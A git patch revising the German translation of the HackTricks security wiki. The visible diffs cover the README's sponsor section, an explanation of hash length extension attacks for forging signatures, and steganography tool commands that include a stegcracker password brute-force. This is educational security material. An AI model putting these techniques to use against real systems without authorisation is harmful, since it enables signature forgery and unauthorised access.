From fa2bf18f1bd899cbfa43aad04b832f993a8477d3 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 4 Sep 2024 13:36:05 +0000 Subject: [PATCH] Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. --- README.md | 52 +-- .../hash-length-extension-attack.md | 31 +- crypto-and-stego/stego-tricks.md | 108 +++--- .../file-data-carving-recovery-tools.md | 28 +- .../file-data-carving-recovery-tools.md | 24 +- .../pcap-inspection/dnscat-exfiltration.md | 28 +- .../pcap-inspection/wireshark-tricks.md | 45 +-- .../exfiltration.md | 85 ++--- .../wide-source-code-search.md | 52 +-- .../python/bypass-python-sandboxes/README.md | 73 ++-- .../reverse-shells/linux.md | 36 +- .../reverse-shells/windows.md | 35 +- .../threat-modeling.md | 85 ++--- .../tunneling-and-port-forwarding.md | 54 +-- .../escaping-from-gui-applications.md | 324 +++++++++--------- .../linux-environment-variables.md | 21 +- .../pam-pluggable-authentication-modules.md | 28 +- .../docker-security/apparmor.md | 158 ++++----- .../docker-release_agent-cgroups-escape.md | 69 ++-- .../macos-red-teaming/macos-keychain.md | 40 +-- .../README.md | 71 ++-- .../macos-memory-dumping.md | 70 ++-- .../macos-security-protections/macos-sip.md | 82 ++--- .../macos-users.md | 53 +-- .../android-applications-basics.md | 84 ++--- .../android-task-hijacking.md | 53 ++- .../make-apk-accept-ca-certificate.md | 26 +- .../reversing-native-libraries.md | 34 +- mobile-pentesting/android-checklist.md | 63 ++-- mobile-pentesting/ios-pentesting-checklist.md | 26 +- .../frida-configuration-in-ios.md | 73 ++-- .../1723-pentesting-pptp.md | 27 +- .../1883-pentesting-mqtt-mosquitto.md | 32 +- .../2375-pentesting-docker.md | 66 ++-- .../43-pentesting-whois.md | 18 +- .../49-pentesting-tacacs+.md | 37 +- .../7-tcp-udp-pentesting-echo.md | 28 +- .../ipsec-ike-vpn-pentesting.md | 57 ++- .../pentesting-ftp/README.md | 69 ++-- .../pentesting-ftp/ftp-bounce-attack.md | 30 +- .../pentesting-imap.md | 14 - network-services-pentesting/pentesting-irc.md | 26 +- .../README.md | 44 +-- network-services-pentesting/pentesting-pop.md | 14 +- .../pentesting-smb/rpcclient-enumeration.md | 206 ++++++----- .../basic-voip-protocols/README.md | 71 ++-- .../electron-desktop-apps/README.md | 71 ++-- .../iis-internet-information-services.md | 54 +-- .../pentesting-web/php-tricks-esp/php-ssrf.md | 28 +- .../pentesting-web/tomcat.md | 44 +-- .../pentesting-web/tomcat/README.md | 39 +-- .../tomcat/basic-tomcat-info.md | 23 +- pentesting-web/2fa-bypass.md | 40 +-- pentesting-web/bypass-payment-process.md | 16 +- pentesting-web/captcha-bypass.md | 6 +- .../client-side-template-injection-csti.md | 53 +-- ...g-and-directory-interface-and-log4shell.md | 91 +++-- .../express-prototype-pollution-gadgets.md | 57 +-- ..._stream_prefer_studio-+-path-disclosure.md | 54 +-- .../lfi2rce-via-nginx-temp-files.md | 62 +--- ...ula-csv-doc-latex-ghostscript-injection.md | 39 +-- pentesting-web/h2c-smuggling.md | 26 +- pentesting-web/hacking-with-cookies/README.md | 56 ++- .../postmessage-vulnerabilities/README.md | 64 ++-- .../registration-vulnerabilities.md | 54 +-- .../cloud-ssrf.md | 42 +-- .../url-format-bypass.md | 31 +- .../el-expression-language.md | 38 +- .../unicode-normalization.md | 36 +- .../xs-search/css-injection/README.md | 53 ++- .../abusing-service-workers.md | 22 +- .../some-same-origin-method-execution.md | 34 +- physical-attacks/physical-attacks.md | 68 ++-- reversing/common-api-used-in-malware.md | 26 +- .../reversing-tools-basic-methods/README.md | 42 +-- stego/stego-tricks.md | 28 +- todo/hardware-hacking/uart.md | 65 ++-- todo/radio-hacking/flipper-zero/README.md | 14 - todo/radio-hacking/flipper-zero/fz-sub-ghz.md | 19 +- todo/radio-hacking/proxmark-3.md | 37 +- .../checklist-windows-privilege-escalation.md | 32 +- .../lateral-movement/dcom-exec.md | 28 +- .../access-tokens.md | 40 +-- .../integrity-levels.md | 65 +--- .../juicypotato.md | 33 +- .../roguepotato-and-printspoofer.md | 27 +- 86 files changed, 1419 insertions(+), 2988 deletions(-) diff --git a/README.md b/README.md index 43bc8b67a..06d81171b 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ _Hacktricks Logos & Motion Design von_ [_@ppiernacho_](https://www.instagram.com **Willkommen im Wiki, wo Sie jeden Hacking-Trick/Technik/was auch immer finden, was ich aus CTFs, realen Anwendungen, Forschungsarbeiten und Nachrichten gelernt habe.** {% endhint %} -Um zu beginnen, folgen Sie dieser Seite, wo Sie den **typischen Ablauf** finden, den **Sie beim Pentesting** einer oder mehrerer **Maschinen befolgen sollten:** +Um zu beginnen, folgen Sie dieser Seite, wo Sie den **typischen Ablauf** finden, den **Sie beim Pentesting** von einer oder mehreren **Maschinen befolgen sollten:** {% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %} [pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md) @@ -67,7 +67,7 @@ Zugang heute erhalten:
-Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug Bounty Jägern zu kommunizieren! +Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug Bounty-Jägern zu kommunizieren! * **Hacking Einblicke:** Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen * **Echtzeit-Hack-Nachrichten:** Bleiben Sie auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke @@ -81,62 +81,28 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
-**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu knacken und Spaß zu haben. +**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu knacken und Spaß zu haben. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} *** -### [SerpApi](https://serpapi.com/) - -
- -SerpApi bietet schnelle und einfache Echtzeit-APIs, um **auf Suchmaschinenergebnisse** zuzugreifen. Sie scrapen Suchmaschinen, verwalten Proxys, lösen Captchas und parsen alle strukturierten Daten für Sie. - -Ein Abonnement eines der SerpApi-Pläne umfasst den Zugriff auf über 50 verschiedene APIs zum Scrapen verschiedener Suchmaschinen, einschließlich Google, Bing, Baidu, Yahoo, Yandex und mehr.\ -Im Gegensatz zu anderen Anbietern **scrapt SerpApi nicht nur organische Ergebnisse**. SerpApi-Antworten enthalten konsequent alle Anzeigen, Inline-Bilder und Videos, Wissensgraphen und andere Elemente und Funktionen, die in den Suchergebnissen vorhanden sind. - -Aktuelle SerpApi-Kunden sind **Apple, Shopify und GrubHub**.\ -Für weitere Informationen besuchen Sie ihren [**Blog**](https://serpapi.com/blog/)**,** oder probieren Sie ein Beispiel in ihrem [**Playground**](https://serpapi.com/playground)**.**\ -Sie können **hier ein kostenloses Konto erstellen** [**hier**](https://serpapi.com/users/sign\_up)**.** - -*** - -### [Try Hard Security Group](https://discord.gg/tryhardsecurity) - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### [WebSec](https://websec.nl/)
-[**WebSec**](https://websec.nl) ist ein professionelles Cybersicherheitsunternehmen mit Sitz in **Amsterdam**, das **Unternehmen** auf der ganzen Welt **gegen die neuesten Cybersicherheitsbedrohungen schützt**, indem es **offensive Sicherheitsdienste** mit einem **modernen** Ansatz anbietet. +[**WebSec**](https://websec.nl) ist ein professionelles Cybersicherheitsunternehmen mit Sitz in **Amsterdam**, das **Unternehmen auf der ganzen Welt** dabei hilft, sich gegen die neuesten Cybersicherheitsbedrohungen zu **schützen**, indem es **offensive Sicherheitsdienste** mit einem **modernen** Ansatz anbietet. -WebSec ist ein **All-in-One-Sicherheitsunternehmen**, was bedeutet, dass sie alles machen; Pentesting, **Sicherheits**-Audits, Awareness-Trainings, Phishing-Kampagnen, Code-Überprüfungen, Exploit-Entwicklung, Outsourcing von Sicherheitsexperten und vieles mehr. +WebSec ist ein **All-in-One-Sicherheitsunternehmen**, was bedeutet, dass sie alles anbieten; Pentesting, **Sicherheits**-Audits, Awareness-Trainings, Phishing-Kampagnen, Code-Überprüfungen, Exploit-Entwicklung, Outsourcing von Sicherheitsexperten und vieles mehr. -Ein weiterer cooler Aspekt von WebSec ist, dass WebSec im Gegensatz zum Branchendurchschnitt **sehr zuversichtlich in ihre Fähigkeiten ist**, so sehr, dass sie **die besten Qualitätsresultate garantieren**, es steht auf ihrer Website "**Wenn wir es nicht hacken können, zahlen Sie nicht!**". Für weitere Informationen werfen Sie einen Blick auf ihre [**Website**](https://websec.nl/en/) und [**Blog**](https://websec.nl/blog/)! +Ein weiterer cooler Aspekt von WebSec ist, dass sie im Gegensatz zum Branchendurchschnitt **sehr zuversichtlich in ihre Fähigkeiten sind**, so sehr, dass sie **die besten Qualitätsresultate garantieren**. Auf ihrer Website steht: "**Wenn wir es nicht hacken können, zahlen Sie nicht!**". Für weitere Informationen werfen Sie einen Blick auf ihre [**Website**](https://websec.nl/en/) und ihren [**Blog**](https://websec.nl/blog/)! -Zusätzlich zu den oben genannten ist WebSec auch ein **engagierter Unterstützer von HackTricks.** +Zusätzlich zu den oben genannten Punkten ist WebSec auch ein **engagierter Unterstützer von HackTricks.** {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} -### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -## Lizenz & Haftungsausschluss +## License & Disclaimer Überprüfen Sie sie in: @@ -159,7 +125,7 @@ Lernen & üben Sie GCP Hacking: {% endhint %} diff --git a/crypto-and-stego/hash-length-extension-attack.md b/crypto-and-stego/hash-length-extension-attack.md index 4b9bd7b2c..ef48d1bca 100644 --- a/crypto-and-stego/hash-length-extension-attack.md +++ b/crypto-and-stego/hash-length-extension-attack.md @@ -15,23 +15,10 @@ Lerne & übe GCP Hacking: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** ## Zusammenfassung des Angriffs -Stell dir einen Server vor, der einige **Daten** **signiert**, indem er ein **Geheimnis** an einige bekannte Klartextdaten anhängt und dann diese Daten hasht. Wenn du weißt: +Stell dir einen Server vor, der **Daten** **signiert**, indem er ein **Geheimnis** an einige bekannte Klartextdaten **anhängt** und dann diese Daten hasht. Wenn du weißt: * **Die Länge des Geheimnisses** (dies kann auch aus einem gegebenen Längenbereich bruteforced werden) * **Die Klartextdaten** @@ -40,11 +27,11 @@ Stell dir einen Server vor, der einige **Daten** **signiert**, indem er ein **Ge * Normalerweise wird ein Standard verwendet, also wenn die anderen 3 Anforderungen erfüllt sind, ist dies auch der Fall * Das Padding variiert je nach Länge des Geheimnisses + Daten, deshalb ist die Länge des Geheimnisses erforderlich -Dann ist es für einen **Angreifer** möglich, **Daten** anzuhängen und eine gültige **Signatur** für die **vorherigen Daten + angehängte Daten** zu **generieren**. +Dann ist es für einen **Angreifer** möglich, **Daten** **anzuhängen** und eine gültige **Signatur** für die **vorherigen Daten + angehängte Daten** zu **generieren**. ### Wie? -Grundsätzlich erzeugen die anfälligen Algorithmen die Hashes, indem sie zuerst einen Block von Daten **hashen** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), den nächsten Block von Daten **hinzufügen** und **hashen**. +Grundsätzlich erzeugen die anfälligen Algorithmen die Hashes, indem sie zuerst einen Block von Daten **hashten** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), den **nächsten Block von Daten** **hinzufügen** und **hashen**. Stell dir vor, das Geheimnis ist "secret" und die Daten sind "data", der MD5 von "secretdata" ist 6036708eba0d11f6ef52ad44e8b74d5b.\ Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er: @@ -54,7 +41,7 @@ Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er: * Die Zeichenfolge "append" anhängen * Den Hash abschließen und der resultierende Hash wird ein **gültiger für "secret" + "data" + "padding" + "append"** sein -### **Tool** +### **Werkzeug** {% embed url="https://github.com/iagox86/hash_extender" %} @@ -62,17 +49,7 @@ Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er: Du kannst diesen Angriff gut erklärt finden unter [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/crypto-and-stego/stego-tricks.md b/crypto-and-stego/stego-tricks.md index c8133bf99..2270c80d7 100644 --- a/crypto-and-stego/stego-tricks.md +++ b/crypto-and-stego/stego-tricks.md @@ -1,8 +1,8 @@ -# Stego-Tricks +# Stego Tricks {% hint style="success" %} -Lernen Sie & üben Sie AWS-Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen Sie & üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -10,20 +10,12 @@ Lernen Sie & üben Sie GCP-Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## **Extrahieren von Daten aus Dateien** +## **Daten aus Dateien extrahieren** ### **Binwalk** @@ -33,9 +25,9 @@ binwalk file # Displays the embedded data binwalk -e file # Extracts the data binwalk --dd ".*" file # Extracts all data ``` -### **Vornehmste** +### **Foremost** -Stellt Dateien basierend auf ihren Headern und Footern wieder her, nützlich für PNG-Bilder. Installiert über `apt` mit der Quelle auf [GitHub](https://github.com/korczis/foremost). +Stellt Dateien basierend auf ihren Headern und Footern wieder her, nützlich für png-Bilder. Installiert über `apt` mit seiner Quelle auf [GitHub](https://github.com/korczis/foremost). ```bash foremost -i file # Extracts data ``` @@ -55,9 +47,9 @@ exiv2 file # Shows the metadata Identifizieren Sie den Dateityp, mit dem Sie es zu tun haben. -### **Zeichenfolgen** +### **Strings** -Extrahiert lesbare Zeichenfolgen aus Dateien unter Verwendung verschiedener Codierungseinstellungen, um die Ausgabe zu filtern. +Extrahiert lesbare Zeichenfolgen aus Dateien, indem verschiedene Kodierungseinstellungen verwendet werden, um die Ausgabe zu filtern. ```bash strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file | head -n 20 # First 20 strings @@ -69,7 +61,7 @@ strings -e b -n 6 file # 16bit strings (big-endian) strings -e L -n 6 file # 32bit strings (little-endian) strings -e B -n 6 file # 32bit strings (big-endian) ``` -### **Vergleich (cmp)** +### **Comparison (cmp)** Nützlich zum Vergleichen einer modifizierten Datei mit ihrer Originalversion, die online gefunden wurde. ```bash @@ -79,55 +71,55 @@ cmp original.jpg stego.jpg -b -l ### **Versteckte Daten in Leerzeichen** -Unsichtbare Zeichen in scheinbar leeren Leerzeichen können Informationen verbergen. Um diese Daten zu extrahieren, besuchen Sie [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). +Unsichtbare Zeichen in scheinbar leeren Bereichen können Informationen verbergen. Um diese Daten zu extrahieren, besuchen Sie [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). ## **Extrahieren von Daten aus Bildern** ### **Identifizieren von Bilddetails mit GraphicMagick** -[GraphicMagick](https://imagemagick.org/script/download.php) dient dazu, Bilddateitypen zu bestimmen und potenzielle Korruptionen zu identifizieren. Führen Sie den folgenden Befehl aus, um ein Bild zu inspizieren: +[GraphicMagick](https://imagemagick.org/script/download.php) dient dazu, Bilddateitypen zu bestimmen und potenzielle Beschädigungen zu identifizieren. Führen Sie den folgenden Befehl aus, um ein Bild zu überprüfen: ```bash ./magick identify -verbose stego.jpg ``` -Um eine beschädigte Abbildung zu reparieren, könnte das Hinzufügen eines Metadatenkommentars hilfreich sein: +Um einen beschädigten Bild zu reparieren, könnte das Hinzufügen eines Metadatenkommentars hilfreich sein: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` -### **Steghide zur Datenverdeckung** +### **Steghide zur Datenverbergung** -Steghide erleichtert das Verstecken von Daten in `JPEG, BMP, WAV und AU` Dateien und kann verschlüsselte Daten einbetten und extrahieren. Die Installation ist einfach mit `apt` und der [Quellcode ist auf GitHub verfügbar](https://github.com/StefanoDeVuono/steghide). +Steghide ermöglicht das Verstecken von Daten in `JPEG, BMP, WAV und AU`-Dateien und kann verschlüsselte Daten einbetten und extrahieren. Die Installation ist einfach mit `apt`, und der [Quellcode ist auf GitHub verfügbar](https://github.com/StefanoDeVuono/steghide). **Befehle:** -* `steghide info Datei` zeigt an, ob eine Datei versteckte Daten enthält. -* `steghide extract -sf Datei [--Passwort Passwort]` extrahiert die versteckten Daten, Passwort ist optional. +* `steghide info file` zeigt an, ob eine Datei versteckte Daten enthält. +* `steghide extract -sf file [--passphrase password]` extrahiert die versteckten Daten, das Passwort ist optional. -Für eine webbasierte Extraktion besuchen Sie [diese Website](https://futureboy.us/stegano/decinput.html). +Für die webbasierte Extraktion besuchen Sie [diese Website](https://futureboy.us/stegano/decinput.html). **Bruteforce-Angriff mit Stegcracker:** -* Um ein Passwortknacken mit Steghide zu versuchen, verwenden Sie [stegcracker](https://github.com/Paradoxis/StegCracker.git) wie folgt: +* Um einen Passwort-Cracking-Versuch auf Steghide durchzuführen, verwenden Sie [stegcracker](https://github.com/Paradoxis/StegCracker.git) wie folgt: ```bash stegcracker [] ``` ### **zsteg für PNG- und BMP-Dateien** -zsteg ist spezialisiert auf das Aufdecken versteckter Daten in PNG- und BMP-Dateien. Die Installation erfolgt über `gem install zsteg`, mit der [Quelle auf GitHub](https://github.com/zed-0xff/zsteg). +zsteg spezialisiert sich auf das Aufdecken versteckter Daten in PNG- und BMP-Dateien. Die Installation erfolgt über `gem install zsteg`, mit [seiner Quelle auf GitHub](https://github.com/zed-0xff/zsteg). **Befehle:** -* `zsteg -a Datei` wendet alle Erkennungsmethoden auf eine Datei an. -* `zsteg -E Datei` gibt eine Nutzlast für die Datenextraktion an. +* `zsteg -a datei` wendet alle Erkennungsmethoden auf eine Datei an. +* `zsteg -E datei` gibt eine Nutzlast für die Datenextraktion an. ### **StegoVeritas und Stegsolve** -**stegoVeritas** überprüft Metadaten, führt Bildtransformationen durch und wendet unter anderem LSB-Brute-Force an. Verwenden Sie `stegoveritas.py -h` für eine vollständige Liste der Optionen und `stegoveritas.py stego.jpg`, um alle Überprüfungen auszuführen. +**stegoVeritas** überprüft Metadaten, führt Bildtransformationen durch und wendet LSB-Brute-Forcing unter anderem an. Verwenden Sie `stegoveritas.py -h` für eine vollständige Liste der Optionen und `stegoveritas.py stego.jpg`, um alle Überprüfungen auszuführen. -**Stegsolve** wendet verschiedene Farbfilter an, um versteckte Texte oder Nachrichten in Bildern sichtbar zu machen. Es ist auf [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) verfügbar. +**Stegsolve** wendet verschiedene Farbfilter an, um versteckte Texte oder Nachrichten in Bildern zu enthüllen. Es ist auf [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) verfügbar. ### **FFT zur Erkennung versteckter Inhalte** -Techniken der schnellen Fourier-Transformation (FFT) können verborgene Inhalte in Bildern aufdecken. Nützliche Ressourcen sind: +Fast Fourier Transform (FFT)-Techniken können verborgene Inhalte in Bildern aufdecken. Nützliche Ressourcen sind: * [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) * [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) @@ -139,14 +131,14 @@ Stegpy ermöglicht das Einbetten von Informationen in Bild- und Audiodateien und ### **Pngcheck zur Analyse von PNG-Dateien** -Zur Analyse von PNG-Dateien oder zur Überprüfung ihrer Echtheit verwenden Sie: +Um PNG-Dateien zu analysieren oder ihre Authentizität zu überprüfen, verwenden Sie: ```bash apt-get install pngcheck pngcheck stego.png ``` -### **Zusätzliche Tools für die Bildanalyse** +### **Zusätzliche Werkzeuge zur Bildanalyse** -Für weitere Erkundungen, besuchen Sie: +Für weitere Erkundungen sollten Sie folgende Seiten besuchen: * [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) * [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) @@ -154,27 +146,27 @@ Für weitere Erkundungen, besuchen Sie: * [OpenStego](https://www.openstego.com/) * [DIIT](https://diit.sourceforge.net/) -## **Extrahieren von Daten aus Audiodateien** +## **Daten aus Audios extrahieren** -**Audiosteganographie** bietet eine einzigartige Methode, um Informationen in Sounddateien zu verbergen. Unterschiedliche Tools werden verwendet, um versteckte Inhalte einzubetten oder abzurufen. +**Audio-Steganographie** bietet eine einzigartige Methode, Informationen in Audiodateien zu verbergen. Verschiedene Werkzeuge werden verwendet, um versteckte Inhalte einzubetten oder abzurufen. ### **Steghide (JPEG, BMP, WAV, AU)** -Steghide ist ein vielseitiges Tool, das für das Verbergen von Daten in JPEG-, BMP-, WAV- und AU-Dateien entwickelt wurde. Detaillierte Anweisungen finden Sie in der [Stego-Tricks-Dokumentation](stego-tricks.md#steghide). +Steghide ist ein vielseitiges Werkzeug, das zum Verstecken von Daten in JPEG-, BMP-, WAV- und AU-Dateien entwickelt wurde. Detaillierte Anweisungen finden Sie in der [Stego-Tricks-Dokumentation](stego-tricks.md#steghide). ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** -Dieses Tool ist mit einer Vielzahl von Formaten kompatibel, einschließlich PNG, BMP, GIF, WebP und WAV. Weitere Informationen finden Sie im [Abschnitt zu Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). +Dieses Werkzeug ist mit einer Vielzahl von Formaten kompatibel, darunter PNG, BMP, GIF, WebP und WAV. Für weitere Informationen siehe den [Stegpy-Bereich](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). ### **ffmpeg** -ffmpeg ist entscheidend für die Bewertung der Integrität von Audiodateien, hebt detaillierte Informationen hervor und identifiziert eventuelle Diskrepanzen. +ffmpeg ist entscheidend für die Bewertung der Integrität von Audiodateien, hebt detaillierte Informationen hervor und identifiziert etwaige Abweichungen. ```bash ffmpeg -v info -i stego.mp3 -f null - ``` ### **WavSteg (WAV)** -WavSteg zeichnet sich durch das Verbergen und Extrahieren von Daten in WAV-Dateien mithilfe der Strategie des am wenigsten signifikanten Bits aus. Es ist auf [GitHub](https://github.com/ragibson/Steganography#WavSteg) verfügbar. Die Befehle umfassen: +WavSteg zeichnet sich darin aus, Daten innerhalb von WAV-Dateien mithilfe der Strategie des am wenigsten signifikanten Bits zu verbergen und zu extrahieren. Es ist auf [GitHub](https://github.com/ragibson/Steganography#WavSteg) verfügbar. Befehle umfassen: ```bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile @@ -182,51 +174,47 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile ``` ### **Deepsound** -Deepsound ermöglicht die Verschlüsselung und Erkennung von Informationen in Sounddateien mithilfe von AES-256. Es kann von [der offiziellen Seite](http://jpinsoft.net/deepsound/download.aspx) heruntergeladen werden. +Deepsound ermöglicht die Verschlüsselung und Erkennung von Informationen in Audiodateien mithilfe von AES-256. Es kann von [der offiziellen Seite](http://jpinsoft.net/deepsound/download.aspx) heruntergeladen werden. ### **Sonic Visualizer** -Ein unschätzbares Werkzeug zur visuellen und analytischen Inspektion von Audiodateien, Sonic Visualizer kann verborgene Elemente aufdecken, die auf andere Weise nicht erkennbar sind. Besuchen Sie die [offizielle Website](https://www.sonicvisualiser.org/) für mehr Informationen. +Ein unverzichtbares Werkzeug für die visuelle und analytische Inspektion von Audiodateien, Sonic Visualizer kann versteckte Elemente aufdecken, die mit anderen Mitteln nicht erkennbar sind. Besuchen Sie die [offizielle Website](https://www.sonicvisualiser.org/) für weitere Informationen. ### **DTMF Töne - Wähltöne** -Die Erkennung von DTMF-Tönen in Audiodateien kann mithilfe von Online-Tools wie [diesem DTMF-Detektor](https://unframework.github.io/dtmf-detect/) und [DialABC](http://dialabc.com/sound/detect/index.html) erreicht werden. +Die Erkennung von DTMF-Tönen in Audiodateien kann durch Online-Tools wie [diesen DTMF-Detektor](https://unframework.github.io/dtmf-detect/) und [DialABC](http://dialabc.com/sound/detect/index.html) erreicht werden. ## **Andere Techniken** -### **Binäre Längenwurzel - QR-Code** +### **Binäre Länge SQRT - QR-Code** Binäre Daten, die zu einer ganzen Zahl quadrieren, könnten einen QR-Code darstellen. Verwenden Sie diesen Code-Schnipsel zur Überprüfung: ```python import math math.sqrt(2500) #50 ``` -### **Braille Übersetzung** +Für die Umwandlung von Binärdaten in Bilder, überprüfen Sie [dcode](https://www.dcode.fr/binary-image). Um QR-Codes zu lesen, verwenden Sie [diesen Online-Barcode-Reader](https://online-barcode-reader.inliteresearch.com/). -Für die Übersetzung von Brailleschrift ist der [Branah Braille Übersetzer](https://www.branah.com/braille-translator) eine ausgezeichnete Ressource. +### **Braille-Übersetzung** + +Für die Übersetzung von Braille ist der [Branah Braille Translator](https://www.branah.com/braille-translator) eine ausgezeichnete Ressource. ## **Referenzen** * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstütze HackTricks +Unterstützen Sie HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Trete der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories einreichst.** +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
